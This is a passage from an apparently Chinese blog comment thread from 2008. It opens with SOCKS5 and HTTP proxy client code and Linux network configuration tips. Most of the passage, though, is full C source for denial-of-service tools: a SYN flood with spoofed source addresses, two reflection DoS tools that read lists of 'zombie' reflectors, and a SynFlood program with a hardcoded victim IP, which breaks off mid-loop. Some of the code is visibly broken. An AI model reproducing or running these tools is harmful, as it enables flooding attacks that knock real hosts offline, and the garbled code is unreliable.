memcpy(m_proxyreq2->other,&tmpLong,4);
memcpy(m_proxyreq2->other+4,&port,2);
ClientSock.Send(buff,sizeof(struct sock5req2)+5);
struct sock5ans2 *m_proxyans2;
memset(buff,0,600);
m_proxyans2 = (struct sock5ans2 *)buff;
ClientSock.Receive(buff,600);
if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
{
 m_sError = _T("通过代理连接主站不成功!");
 ClientSock.Close();
 return FALSE;
}




//通过HTTP方式代理
if( !ClientSock.Connect( g_ProxyInfo.m_strProxyIP,g_ProxyInfo.m_nProxyPort) )
{
 m_sError = _T("不能连接到代理服务器!");
 ClientSock.Close();
 return FALSE;
}
char buff[600];
sprintf( buff, "%s%s:%d%s","CONNECT ",GetServerHostName(),GetPort()," HTTP/1.1\r\nUser-Agent: MyApp/0.1\r\n\r\n");
ClientSock.Send(buff,strlen(buff)); //发送请求
memset(buff,0,600);
ClientSock.Receive(buff,600);
if(strstr(buff, "HTTP/1.0 200 Connection established") == NULL) //连接不成功
{
 m_sError = _T("通过代理连接主站不成功!");
 ClientSock.Close();
 return FALSE;
}


我们一般先与代理服务器连通,然后向代理服务器发送代理验证的用户名和密码(如果需要,如Socks5代理),验证成功后,再向代理服务器发送需要连接的目的地址和端口。以上代码仅用于TCP连接,如果在内部网侦听或通过UDP协议发送信息,可查阅RFC1829等文档资料。

<正文完>
re: 代理服务器代码 聂文龙 2008-10-21 02:03
不要心里老是想着只要拿到源代码就可以直接去用,因为对rfc1928、rfc1929研究是必要的,因为在调试程序的时候,你一定要知道协议才可以调,我现在给一些相关的文档给你,也许比那些代码对你更加有用处:

用socks5进行udp发送数据的过程:

你的目的是要和服务器做UDP的数据传送。
步骤:
1,和代理建立tcp联接,(你已经完成)
2,向代理发送版本的请求信息,
我的实现:
void CCommunicator::SendVer ()
{
int datasize = 6;
char tempbuf[6];

tempbuf[0] = 5;
tempbuf[1] = 4;//标示后面所根的字接数
tempbuf[2] = 0;
tempbuf[3] = 1;
tempbuf[4] = 2;
tempbuf[5] = 3;
int senddatalen;
senddatalen = send(m_sock, (char *)tempbuf, 6, 0 );
}
这一步,你已经返回成功,是吗?
如果失败,断开建立的tcp联接,
如果成功,如果需要用户验证则进行步骤3,否则进行4,
3,如果需要用户验证,则
类似:
BOOL CCommunicator::SendUserTest()
{
int usernamelen=0;
int userpasslen=0;
usernamelen = m_strTestUserName.GetLength();
userpasslen = m_strTestUserPass.GetLength();
char tempbuf[100];

tempbuf[0] = 5;
tempbuf[1] = usernamelen;//标示后面所根的字接数
strcpy(&tempbuf[2],m_strTestUserName);

tempbuf[2+usernamelen] = userpasslen;
strcpy((char *)&tempbuf [3+usernamelen] ,m_strTestUserPass);

int senddatalen;
int len;
len = usernamelen +userpasslen + 3;
senddatalen = send(m_sock, (char *)tempbuf, len, 0 );
}
如果失败,断开建立的tcp联接,
如果用户返回成功,步骤4
4,发送请求的协议
类似:
void CCommunicator::SendRequestUDP ()
{

int const datasize = 10;
BYTE tempbuf[datasize];
tempbuf[0] = 5;
tempbuf[1] = 3;//标示UDP连接
tempbuf[2] = 0;
tempbuf[3] = 1;
tempbuf[4] = 0;
tempbuf[5] = 0;
tempbuf[6] = 0;
tempbuf[7] = 0;
*((SHORT*)(&(tempbuf[8]))) = m_uBindUDPPort;
//UDP在客户端绑定的端口,就是你本地机器的做udp数据传送的端口,调用
// socket函数后,再调用bind()来邦定一个端口。
char temp;
temp = tempbuf[8] ;
tempbuf[8] = tempbuf[9];
tempbuf[9] = temp;

int senddatalen = send(m_sock, (char *)tempbuf, datasize, 0 );
}
如果失败,断开建立的tcp联接,
如果返回成功,验证完毕!步骤5
5,真正的数据传送,用代理传送的时候,数据包的前面加上10个字节
类似:
void CCommunicator::CopyDataHead(BYTE * ptempbuf)
{
struct in_addr addr;
addr.s_addr = inet_addr(“202.220.33.333”);//这个ip是服务器端的ip

ptempbuf[0] = 0;
ptempbuf[1] = 0;
ptempbuf[2] = 0;
ptempbuf[3] = 1;
ptempbuf[4] = (char)addr.S_un.S_un_b.s_b1;;
ptempbuf[5] = (char)addr.S_un.S_un_b.s_b2;
ptempbuf[6] = (char)addr.S_un.S_un_b.s_b3;
ptempbuf[7] = (char)addr.S_un.S_un_b.s_b4;

*((SHORT*)(&(ptempbuf[8]))) = m_uServerUDPPort;//服务器的端口,就是你最终要发到那个服务器的端口,也就是你的qq服务器。
char temp;
temp = ptempbuf[8] ;
ptempbuf[8] = ptempbuf[9];
ptempbuf[9] = temp;
}
真正发送的时候类似:
int CCommunicator::SendBufferUDP(LPBYTE lpBuf,int nLen)
{
BYTE tempbuf[1000];
int iHeadData = 0;
struct sockaddr_in her;
her.sin_family = AF_INET;
her.sin_addr.s_addr = inet_addr(m_szProxyAddr);//代理服务器
her.sin_port = htons(m_uSocksPort);//发送请求的时候返回的代理服务器端的端口,记住,这是最重要的。
CopyDataHead(tempbuf);
iHeadData = 10;
nLen=nLen + 10;
int addr_len;
addr_len = sizeof(struct sockaddr);

CopyMemory((char *)&tempbuf[iHeadData],lpBuf,nLen);
int returndatalen = sendto(m_socket,(char *)tempbuf,nLen,0,(struct sockaddr *)&her,addr_len);

}
希望对你有帮助!
re: 常用指令 聂文龙 2008-10-19 13:01
[root@localhost home]# tar zcvf data.tar.gz data
re: Linux修改IP和DNS 聂文龙 2008-10-17 02:01
route add default gw xx.xx.xx.xx
如果想永久生效就修改配置文件
re: Linux修改IP和DNS 聂文龙 2008-10-17 02:00
建议通过终端字符方式下来修改
一修改IP地址
vi /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0
BOOTPROTO=none
BROADCAST=192.168.1.255
IPADDR=192.168.1.33
NETMASK=255.255.255.0
NETWORK=192.168.1.0
ONBOOT=yes
USERCTL=no
PEERDNS=no
TYPE=Ethernet
~

vi /etc/sysconfig/network-scripts/ifcfg-eth1

DEVICE=eth1
ONBOOT=yes
BOOTPROTO=none
IPADDR=192.168.2.34
NETMASK=255.255.255.0
USERCTL=no
PEERDNS=no
TYPE=Ethernet
NETWORK=192.168.2.0
BROADCAST=192.168.2.255
二修改网关
vi /etc/sysconfig/network

NETWORKING=yes
HOSTNAME=Aaron
GATEWAY=192.168.1.1

三重新启动网络配置
/etc/init.d/network restart
re: DDOS 聂文龙 2008-09-05 17:30
linux下DDOS程序代码ddos.c


#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>

#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());

/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}

/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/

/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;


/** 好了,一切都准备好了.服务器,你准备好了没有?? **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}//http://www.leftworld.net [2004-02-20]
re: DDOS 聂文龙 2008-09-05 17:28
DDOS标准版完整源代码,仅供学习

DDOS标准版完整源代码,仅供学习.可以考虑加入循环和优化部分细节,呵呵``



#include <stdio.h>
#include <string.h>
#include <Winsock2.h>
#include <Ws2tcpip.h>
#pragma comment(lib,"ws2_32")
#define HOST_LEN 15
#define SEQ 0x28376839
#define TCP_SERVER_PORT 80
#define FAKE_PORT 80
#define STATUS_FAILED 0xFFFF



typedef struct _iphdr
{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER, * PIP_HEADER;

typedef struct _tcphdr
{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
}TCP_HEADER, * PTCP_HEADER;

struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}psd_header;

int SendThread(int argc, char * argv[], char * destIp);
void Usage(char *);
void GetCMD(int argc, char * argv[]);
USHORT checksum(USHORT * buffer, int size);

int main(int argc, char * argv[])
{
WSADATA wsaData;
int ErrorCode;

if(argc < 2 || argc > 6)
{
Usage(argv[0]);
ExitProcess(STATUS_FAILED);
}
if((ErrorCode=WSAStartup(MAKEWORD(2, 1), &wsaData))!=0)
{
fprintf(stderr, "WSAStartup failed: %d\n", ErrorCode);
ExitProcess(STATUS_FAILED);
}

ErrorCode = SendThread(argc, argv, argv[1]);
if(ErrorCode != 0)
{
fprintf(stderr, "Thread failed: %d\n", ErrorCode);
ExitProcess(STATUS_FAILED);
}
return 0;
}

int SendThread(int argc, char * argv[], char * destIP)
{
int TimeOut=2000, ErrorCode, flag, i=0;
char SendBuff[128];
char HostName[HOST_LEN];
char ch;
FILE * fp;
SOCKET SendSock;
struct sockaddr_in DestAddr;
IP_HEADER IpHeader;
TCP_HEADER TcpHeader;

if((fp=fopen("honkeriplist.txt", "r")) == NULL)
{
printf("Error: File not found!\n");
return -1;
}
SendSock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED);
if(SendSock == INVALID_SOCKET)
{
fprintf(stderr, "socket failed: %d\n", GetLastError());
ExitProcess(STATUS_FAILED);
}

flag = true;
ErrorCode = setsockopt(SendSock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(int));
if(ErrorCode == SOCKET_ERROR)
{
fprintf(stderr, "set IP_HDRINCL failed: %d\n", GetLastError());
ExitProcess(STATUS_FAILED);
}

__try
{
if(argc > 4)
TimeOut = atoi(argv[3]);
ErrorCode = setsockopt(SendSock, SOL_SOCKET, SO_SNDTIMEO, (char *)&TimeOut,
sizeof(TimeOut));
if(ErrorCode == SOCKET_ERROR)
{
fprintf(stderr, "set TimeOut failed: %d\n", GetLastError());
__leave;
}

DestAddr.sin_family = AF_INET;
// DestAddr.sin_addr.s_addr = inet_addr(SERVER);
if(argc > 3)
DestAddr.sin_port = htons(atoi(argv[3]));
else
DestAddr.sin_port = htons(TCP_SERVER_PORT);

IpHeader.h_lenver = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
IpHeader.tos = 0;
IpHeader.total_len = htons(sizeof(IP_HEADER) + sizeof(TCP_HEADER));
IpHeader.ident = 1;
IpHeader.frag_and_flags = 0;
IpHeader.ttl = 128;
IpHeader.proto = IPPROTO_TCP;
IpHeader.checksum = 0;
IpHeader.sourceIP = inet_addr(destIP);
IpHeader.destIP = inet_addr("0.0.0.0");

if(argc > 2)
TcpHeader.th_sport = htons(atoi(argv[2]));
else
TcpHeader.th_sport = htons(FAKE_PORT);
if(argc > 3)
TcpHeader.th_dport = htons(atoi(argv[3]));
else
TcpHeader.th_dport = htons(TCP_SERVER_PORT);
TcpHeader.th_seq = htonl(SEQ);
TcpHeader.th_ack = 0;
TcpHeader.th_lenres = (sizeof(TCP_HEADER)/4<<4|0);
TcpHeader.th_flag = 2;
TcpHeader.th_win = htons(16384);
TcpHeader.th_urp = 0;
TcpHeader.th_sum = 0;

psd_header.saddr = IpHeader.sourceIP;
psd_header.daddr = IpHeader.destIP;
psd_header.mbz = 0;
psd_header.ptcl = IPPROTO_TCP;
psd_header.tcpl = htons(sizeof(TCP_HEADER));

/* memcpy(SendBuff, &psd_header, sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));

memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER)); */

printf("Send Packets\n");
int Packets = 0;

ch = fgetc(fp);
GetCMD(argc, argv);
while(1)
{
if(ch == '\n' || ch == EOF)
{
HostName = '\0';
// Add your code here-----------------------
DestAddr.sin_addr.s_addr = inet_addr(HostName);
IpHeader.destIP = inet_addr(HostName);
IpHeader.checksum = 0;
psd_header.daddr = IpHeader.destIP;
TcpHeader.th_seq = htonl(SEQ);
TcpHeader.th_sum = 0;

memcpy(SendBuff, &psd_header, sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header), &TcpHeader, sizeof(TCP_HEADER));
TcpHeader.th_sum = checksum((USHORT *)SendBuff, sizeof(psd_header)+sizeof(TcpHeader));

memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
memcpy(SendBuff+sizeof(IP_HEADER), &TcpHeader, sizeof(TCP_HEADER));
memset(SendBuff+sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0, 4);
IpHeader.checksum = checksum((USHORT *)SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER));

memcpy(SendBuff, &IpHeader, sizeof(IP_HEADER));
memcpy(SendBuff+sizeof(TCP_HEADER), &TcpHeader, sizeof(TCP_HEADER));

Packets++;
if(Packets == 10240)
{
printf(".");
Packets = 1;
}
ErrorCode = sendto(SendSock, SendBuff, sizeof(IP_HEADER)+sizeof(TCP_HEADER), 0,
(struct sockaddr *)&DestAddr, sizeof(DestAddr));
// printf("->%s\n", HostName);
//----------------------------
i = 0;
ch = fgetc(fp);

if(ch == EOF)
{
// i = 0;
rewind(fp);
// memset(HostName, 0, sizeof(HostName));
}
}
HostName = ch;
i++;
ch = fgetc(fp);
}
}
__finally
{
if(SendSock == INVALID_SOCKET)
closesocket(SendSock);
WSACleanup();
}

return 0;
}

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);

return (USHORT)(~cksum);
}

void Usage(char * msg)
{
printf("+-----------------------------+ \n");
printf("| DRD.O.S Tool |\n");
printf("| www.honkerunion.com |\n");
printf("+-----------------------------+\n");
printf("USAGE:\n");
printf(" %s DestIP [DestPort] [TcpServerPort] [TimeOut]\n", msg);
printf("EXAMPLE:\n");
printf(" %s 210.128.000.000\n", msg);
printf(" %s 210.128.000.000\n", msg);
printf(" %s 210.128.000.000 80 170 \n", msg);
printf(" %s 210.128.000.000 80 170 2000\n", msg);
}



void GetCMD(int argc, char * argv[])
{
printf("<------------------------>\n");
printf(" Target: %s\n", argv[2]);
if(argc > 3)
printf(" Target Port: %d\n", atoi(argv[3]));
if(argc > 4)
printf(" TCP Server Port: %d\n", atoi(argv[4]));
if(argc > 5)
printf(" Timeout: %d\n", atoi(argv[5]));
printf("<------------------------>\n");
}
re: DDOS 聂文龙 2008-09-05 17:25
DRDoS(反射式分布拒绝服务攻击)C源代码
这是DDoS攻击的变形,它与DDoS的不同之处就是DrDoS不需要在实际攻击之前占领大量的傀儡机.这种攻击也是在伪造数据包源地址的情况下进行的,从这一点上说与Smurf攻击一样,而DrDoS是可以在广域网上进行的.其名称中的"r"意为反射,就是这种攻击行为最大的特点.黑客同样利用特殊的发包工具,首先把伪造了源地址的SYN连接请求包发送到那些被欺骗的计算机上,根据TCP三次握手的规则,这些计算机会向源IP发出SYN+ACK或RST包来响应这个请求.同Smurf攻击一样,黑客所发送的请求包的源IP地址是被害者的地址,这样受欺骗的计算机就都会把回应发到受害者处,造成该主机忙于处理这些回应而被拒绝服务攻击.
废话不多说了,写个程序给大家参考,大家请看源码吧!
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};

unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);

int main(int argc,char * argv[])
{
int val;

char fname[1000];
FILE * list;

char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;

int serverfd;
struct sockaddr_in server;

char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;

if (argc != 3)
{
printf("\nDistributed Reflection DoS tool - v1.0\n");
printf("Copyright (C) 2003 KrystalEye.com\n\n");
printf("Usage: %s <list> <target IP>\n\n",argv[0]);
printf(" -list : Path to Zombies (\"Reflection Servers\") list file\n");
printf(" -target IP: IP address of target\n\n");
printf("*** Syntax of list file ***\n");
printf(" -Each line contains 1 zombie's information\n");
printf(" -Each zombie is described by 5 numbers:\n");
printf(" 4 octets of IP address (without '.') and Port number\n");
printf(" -Numbers are seperated by at least 1 blank character (' ')\n");
printf("Example: 203 162 56 78 80\n");
printf(" => IP: 203.162.56.78 || Port: 80\n\n");
printf("Email: ngmnhat@yahoo.com\n");
printf("Good luck! Thanks for using this tool!\n\n");
exit(-1);
}
else
{
sprintf(fname,"%s",argv[1]);
sprintf(saddr,"%s",argv[2]);
sprintf(daddr,"%s",argv[2]);
tport = random() % 10000;
sport = tport;
dport = tport;
}

if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
printf("Error: malloc()\n");
exit(-1);
}

bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));

ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);

helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);

tcp->source = htons(sport);
tcp->dest = htons(dport);
tcp->seq = htonl(random());
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->fin = 0;
tcp->syn = 1;
tcp->rst = 0;
tcp->psh = 0;
tcp->ack = 0;
tcp->window = htons(65535);
tcp->urg_ptr = 0;
tcp->check = 0;
helpcksum.tcp = *tcp;
tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);

ip->ihl = 5;
ip->version = 4;
ip->tos = 0;
ip->tot_len = IPHDRSIZE + TCPHDRSIZE;
ip->id = random();
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->saddr = inet_addr(saddr);
ip->daddr = inet_addr(daddr);
ip->check = 0;
ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
printf("Error: socket()\n");
exit(-1);
}

setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));

bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;

if ((list = fopen(fname,"r")) == NULL)
{
printf("Error: cannot open file\n");
exit(-1);
}
fscanf(list,"%hu",&a);
if (feof(list))
{
printf("Error: empty list\n");
fclose(list);
exit(-1);
}
fclose(list);

printf("\nAttacking %s...\n\n",argv[2]);
printf("Press <Ctrl-C> to Stop.\n");

while (1)
{
list = fopen(fname,"r");

while (!feof(list))
{
fscanf(list," %hu %hu %hu %hu %hu",&a,&b,&c,&d,&tport);

sprintf(daddr,"%hu.%hu.%hu.%hu",a,b,c,d);

helpcksum.pseudo.daddr = inet_addr(daddr);

ip->daddr = inet_addr(daddr);
ip->id = random();
ip->check = 0;

dport = tport;

tcp->source = htons(random() % 10000);
tcp->dest = htons(dport);
tcp->seq = htonl(random());
tcp->check = 0;
helpcksum.tcp = *tcp;

tcp->check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE + PSEUDOHDRSIZE);
ip->check = in_cksum((unsigned short *)ip,IPHDRSIZE);

server.sin_addr.s_addr = inet_addr(daddr);
server.sin_port = htons(dport);

sendto(serverfd,packet,ip->tot_len,0,(struct sockaddr *)&server,sizeof(struct sockaddr));

usleep(100);
}

fclose(list);
}

close(serverfd);
return 0;
}

unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return answer;
}
re: DDOS 聂文龙 2008-09-05 17:23
很早就有的一段代码,在“安全焦点”上可下到
剑客把注释给去了?
http://www.xfocus.net/tools/200405/705.html
相关页面有其他的一些DDOS的源码和工具

// SynFlood.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "SynFlood.h"

#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object
#define SEQ 0x28376839

#define SYN_DEST_IP "172.18.253.38"//被攻击的IP

#define FAKE_IP "10.168.150.1" //伪装IP的起始值,本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF //错误返回值



typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址
}IP_HEADER;



struct //定义TCP伪首部
{
unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度
}psd_header;



typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字

unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;



//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
// TODO: code your application's behavior here.
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]={0};
char RecvBuf[65535]={0};
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET)
{
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");
__try
{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);

//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号,低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
ip_header.ident=1; //16位标识
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
ip_header.checksum=0; //16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址
ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP地址

//填充TCP首部
tcp_header.th_sport=htons(7000); //源端口号
tcp_header.th_dport=htons(139); //目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列号

tcp_header.th_ack=0; //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验和

//填充TCP伪首部(用于计算校验和,并不真正发送)
psd_header.saddr=ip_header.sourceIP; //源地址
psd_header.daddr=ip_header.destIP; //目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP; //协议类型
psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部长度
while(1)
{
//每发送10,240个报文输出一个标示符
printf(".");

for(counter=0;counter<10240;counter++)
{
if(SendSEQ++==65536) SendSEQ=1; //序列号循环

//更改IP首部
